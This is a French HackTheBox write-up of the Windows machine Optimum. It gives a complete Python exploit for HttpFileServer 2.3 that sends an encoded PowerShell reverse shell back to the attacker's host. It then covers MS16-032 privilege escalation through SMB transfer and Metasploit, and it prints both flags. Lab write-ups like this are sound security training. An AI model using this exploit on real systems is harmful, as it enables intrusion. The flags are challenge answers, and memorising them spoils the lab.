> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md).

# Récapitulatif HackTheBox d'Optimum

Récapitulatif HackTheBox Windows facile Optimum couvrant HFS 2.3 RCE et l'élévation de privilèges MS16-032.

{% embed url="<https://app.hackthebox.com/machines/6>" %}

{% hint style="warning" %}
**Techniques**

* Exécution de code à distance HttpFileServer 2.3
* Énumération d’hôte Windows
* Élévation de privilèges locale MS16-032
  {% endhint %}

## Reconnaissance

### Préparer l’espace de travail

Créez un répertoire dédié pour la machine :

```bash
mkdir Optimum
cd Optimum
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FMZWzIevujvcMVhsxpqaP%2Fimage.png?alt=media&amp;token=1194ee7f-3313-4dea-af55-4c29104ffd81" alt="" width="563"><figcaption></figcaption></figure>

Le `127` Le TTL suggère que la cible exécute Windows.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWCOm5wtDOFlhjHXqxXad%2Fimage.png?alt=media&amp;token=89c599b6-67b8-4c31-bef8-7454ea2de798" alt="" width="563"><figcaption></figcaption></figure>

### Découvrir les ports ouverts

Analysez tous les ports TCP et enregistrez les résultats :

```bash
sudo nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.5.151 -oG allPorts
```

Nmap identifie le port `80` comme le seul port ouvert.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmF56ubNk616juQgBilrS%2Fimage.png?alt=media&amp;token=7f18ca07-be92-438c-a096-ccec1257d8d6" alt=""><figcaption></figcaption></figure>

### Identifier le service web

Exécutez la détection de version et les scripts par défaut sur le port `80`:

```bash
sudo nmap -sCV -p80 10.129.5.151 -oN targeted
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FiBjTaUprlMsnMDujiDNM%2Fimage.png?alt=media&amp;token=2ed7e5f6-2adb-4985-9656-8e5769e3d53e" alt=""><figcaption></figcaption></figure>

La cible exécute HttpFileServer 2.3.

Cette version présente une vulnérabilité d’exécution de code à distance connue.

```bash
searchsploit httpfileserver
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTWJ4RFWZSKoQ8AXZpjAG%2Fimage.png?alt=media&amp;token=3e7e56df-3204-4c0c-a1ab-d2a1c59bf6d4" alt=""><figcaption></figcaption></figure>

### Exploiter HFS 2.3

Utilisez le script Python suivant pour envoyer un reverse shell PowerShell encodé. Mettez d’abord à jour les valeurs de l’écouteur et de la cible :

```bash
import requests
import urllib
import base64

lhost = '10.10.15.2' # Changez ceci
lport = '1234'        # Changez ceci
rhost = '10.129.5.151' # Changez ceci
rport = '80'        # Changez ceci

command = '$client = New-Object System.Net.Sockets.TCPClient("' + lhost + '",' + lport + ');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

command_bytes = command.encode('utf-16le')
base64_bytes = base64.b64encode(command_bytes)
encodedcommand = base64_bytes.decode('ascii')

payload = 'exec|powershell.exe -ep bypass -encodedcommand ' + encodedcommand 

encodedpayload = urllib.parse.quote_plus(payload)

url = 'http://' + rhost + ':' + rport + '/?search=%00{.' + encodedpayload + '.}'

r = requests.get(url)

if r.status_code == 200:
    print('GET Request Sent')
else:
    print('Failed to Send Request')
```

Démarrez un écouteur avant d’exécuter le script :

```bash
rlwrap nc -nvlp 1234
```

Exécutez l’exploit depuis votre machine locale :

```bash
python3 rce.py
```

La cible se connecte en retour avec un reverse shell PowerShell.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FManKccjsbMg27N5TyiV8%2Fimage.png?alt=media&amp;token=3246937e-a015-435d-b3bd-6e02fa807c78" alt=""><figcaption></figcaption></figure>

### Récupérer le flag utilisateur

{% code overflow="wrap" %}

```bash
type C:\Users\kostas\Desktop\user.txt
```

{% endcode %}

* f2f8d68c549c18e1b94d2c99207e3022

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FaznSW5c7XYrJGXX3dr4F%2Fimage.png?alt=media&amp;token=314e87c0-c3f7-49e4-bd5e-afe01cd5a9f3" alt=""><figcaption></figcaption></figure>

## Élévation de privilèges

### Identifier la voie d’élévation de privilèges

Inspectez le système d’exploitation cible :

{% code overflow="wrap" %}

```bash
systeminfo
```

{% endcode %}

La cible exécute Windows Server 2012 R2.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FXzsASDHc6dMwDCsL2dh5%2Fimage.png?alt=media&amp;token=0c9c3f14-2810-4c7b-8120-8d79a83e7253" alt=""><figcaption></figcaption></figure>

L’hôte est vulnérable à l’élévation de privilèges du noyau x64 MS16-032.

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032>" %}

Téléchargez le dépôt de l’exploit et repérez le payload compilé :

{% code overflow="wrap" %}

```bash
windows-kernel-exploits/MS16-032/x64/ms16-032.exe
```

{% endcode %}

### Transférer l’exploit

Démarrez un serveur SMB dans le répertoire contenant l’exploit :

{% code overflow="wrap" %}

```bash
sudo /home/jordan/.local/bin/smbserver.py share $(pwd) -smb2support
```

{% endcode %}

Copiez l’exécutable sur la cible :

```bash
copy \\10.10.15.2\share\ms16-032.exe .
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfeBCQ8ZtdyEHC5sYWhdn%2Fimage.png?alt=media&amp;token=8a362574-6e4d-4aca-84fd-feabd39dc2c3" alt=""><figcaption></figcaption></figure>

```bash
copy \\10.10.15.2\share\MS16-032.ps1 .
```

Le payload PowerShell n’est pas disponible sur cet hôte.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FgsrBlC6gtRl5msvHVgLH%2Fimage.png?alt=media&amp;token=6196ea8e-274e-4efe-8c4d-b067a8976fae" alt=""><figcaption></figcaption></figure>

### Exploiter MS16-032 avec Metasploit

Utilisez Metasploit comme alternative :

{% code overflow="wrap" %}

```bash
search ms16-032
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FPnk5Ze4RC9qPGILDRZLW%2Fimage.png?alt=media&amp;token=4b822b75-d5aa-40b8-947f-a7d6c27a3358" alt=""><figcaption></figcaption></figure>

Sélectionnez le module MS16-032 et exécutez-le contre la session active :

{% code overflow="wrap" %}

```bash
use 0 

set SESSION 2

run

getuid
```

{% endcode %}

La session s’exécute désormais en tant que `NT AUTHORITY\SYSTEM`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FAalaLilqBYjwo81aytHU%2Fimage.png?alt=media&amp;token=1354b0f2-bc3c-4ee7-9980-936ad7dfcd91" alt=""><figcaption></figcaption></figure>

### Récupérer le flag root

{% code overflow="wrap" %}

```bash
type C:\Users\Administrator\Desktop\root.txt
```

{% endcode %}

* 0d795fff7eac20e753543b412dfa5c34

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCqQFVgTjPVbu2gsFb5jL%2Fimage.png?alt=media&amp;token=45f6584b-1f79-4c92-9af1-707740739c16" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fi3ASkNBpWpPr6dILVCeQ%2Fimage.png?alt=media&amp;token=585831c3-0aad-49dc-b418-271338292956" alt="" width="361"><figcaption></figcaption></figure>


---

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